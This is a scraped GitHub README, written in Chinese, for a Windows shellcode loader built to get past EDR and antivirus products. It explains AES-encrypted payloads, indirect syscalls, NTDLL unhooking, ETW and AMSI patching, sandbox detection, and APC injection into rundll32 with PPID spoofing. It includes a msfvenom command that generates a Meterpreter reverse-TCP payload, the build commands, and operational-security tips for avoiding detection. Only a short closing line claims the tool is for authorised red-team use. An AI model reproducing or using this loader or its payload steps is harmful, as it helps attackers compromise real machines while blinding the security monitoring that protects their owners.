28Zaaky/Shellcode-Ldr

GitHub: 28Zaaky/Shellcode-Ldr

一款集成 AES-256 加密、间接系统调用和多层规避技术的 Windows Shellcode 加载器,用于绕过 EDR/AV 防护。

Stars: 25 | Forks: 8

# XVX Ldr 具备 AES-256-CBC 加密和 EDR/AV 规避技术的 Windows shellcode 加载器。 ## 它是什么? 一种以隐蔽模式将 shellcode(如 Meterpreter)注入到合法 Windows 进程(rundll32.exe)中的加载器。 通过使用间接系统调用(indirect syscalls)和解除 NTDLL 挂钩来绕过 EDR。 ## 架构 ``` loader_v3.c - Main entry point build.ps1 - Automated build script tools/ - AES encryptor for payloads modules/ ├── crypto.c - AES-256-CBC (encrypt/decrypt) ├── injection.c - APC injection + PPID spoofing ├── unhooking.c - Clean NTDLL restoration ├── etw_bypass.c - Disable ETW telemetry ├── amsi_bypass.c - Neutralize AMSI ├── sandbox_evasion.c - VM/sandbox detection └── syscalls.c - Indirect syscalls ``` ## 快速构建 ``` # 1. 在 Kali 上生成 payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f raw -o meterpreter.bin # 2. 复制到 payload/ # 3. 编译 .\build.ps1 # 结果:output\Loader.exe (静默, stripped) ``` ## 工作原理 **阶段 1:沙箱规避** - 检查虚拟机(VMware, VirtualBox, Hyper-V) - 验证 RAM/CPU/磁盘 - 运行时间 > 10 分钟 **阶段 2:解除挂钩** - 从 C:\Windows\System32 加载新鲜的 ntdll.dll 副本 - 替换内存中的 .text 节(EDR 挂钩所在地) - 刷新指令缓存 **阶段 3:ETW/AMSI 绕过** - 修补 EtwEventWrite - 如果已加载,修补 AmsiScanBuffer **阶段 4:注入** - 以挂起模式创建 rundll32.exe - PPID 欺骗至 explorer.exe - 分配 RWX 内存 - 写入 shellcode - 在主线程上使用 APC - 恢复线程 → shellcode 执行 ## 手动编译 ``` # DEBUG (控制台可见,用于测试) gcc -O0 loader_v3.c modules\*.c modules\dosyscall.o -o Loader_DEBUG.exe -ladvapi32 -lntdll -luser32 # PROD (静默, 优化, stripped) gcc -O2 -DPRODUCTION loader_v3.c modules\*.c modules\dosyscall.o -o Loader_PROD.exe -ladvapi32 -lntdll -luser32 -mwindows -s ``` ## OPSEC - 在 filescan.io 或 antiscan.me 上测试 - 针对不同目标更改 payload(轮换 AES 密钥) - 检查连接:`netstat -ano | findstr ` - 使用后结束 rundll32.exe 进程 ## 检测 **已缓解项:** - 系统调用字符串已混淆(使用 SysAllocMem 而非 NtAllocateVirtualMemory) - 无可疑导入(全部通过系统调用) - ETW 已修补(无遥测日志) - EDR 挂钩已绕过 **仍可见项:** - 高熵(AES-256 = 随机数据) - RWX 内存分配(shellcode 需要) - 注入行为(可被高级 EDR 检测) - 孤立 rundll32.exe 进程(无参数) ## 已知问题 如果清理后 `dosyscall.o` 丢失: ``` cd modules gcc -c dosyscall.S -o dosyscall.o ``` ## 一些不错的参考资料 - https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls - https://blog.deeb.ch/posts/maldev-myths - https://cirosec.de/en/news/loader-dev-4-amsi-and-etw ## 联系方式 28Zaakypro@proton.me **免责声明:** 仅供授权红队 / 渗透测试使用。非法使用 = 责任自负。
标签:AES-256加密, AI合规, AMSI绕过, APC注入, Chrome扩展, Conpot, DNS 反向解析, EDR绕过, ETW绕过, SSH蜜罐, TGT, Windows安全, 云资产清单, 内存解钩, 威胁检测, 客户端加密, 客户端加密, 恶意软件, 攻防演练, 沙箱逃逸, 进程注入, 逆向工程, 邮件钓鱼, 间接系统调用, 高交互蜜罐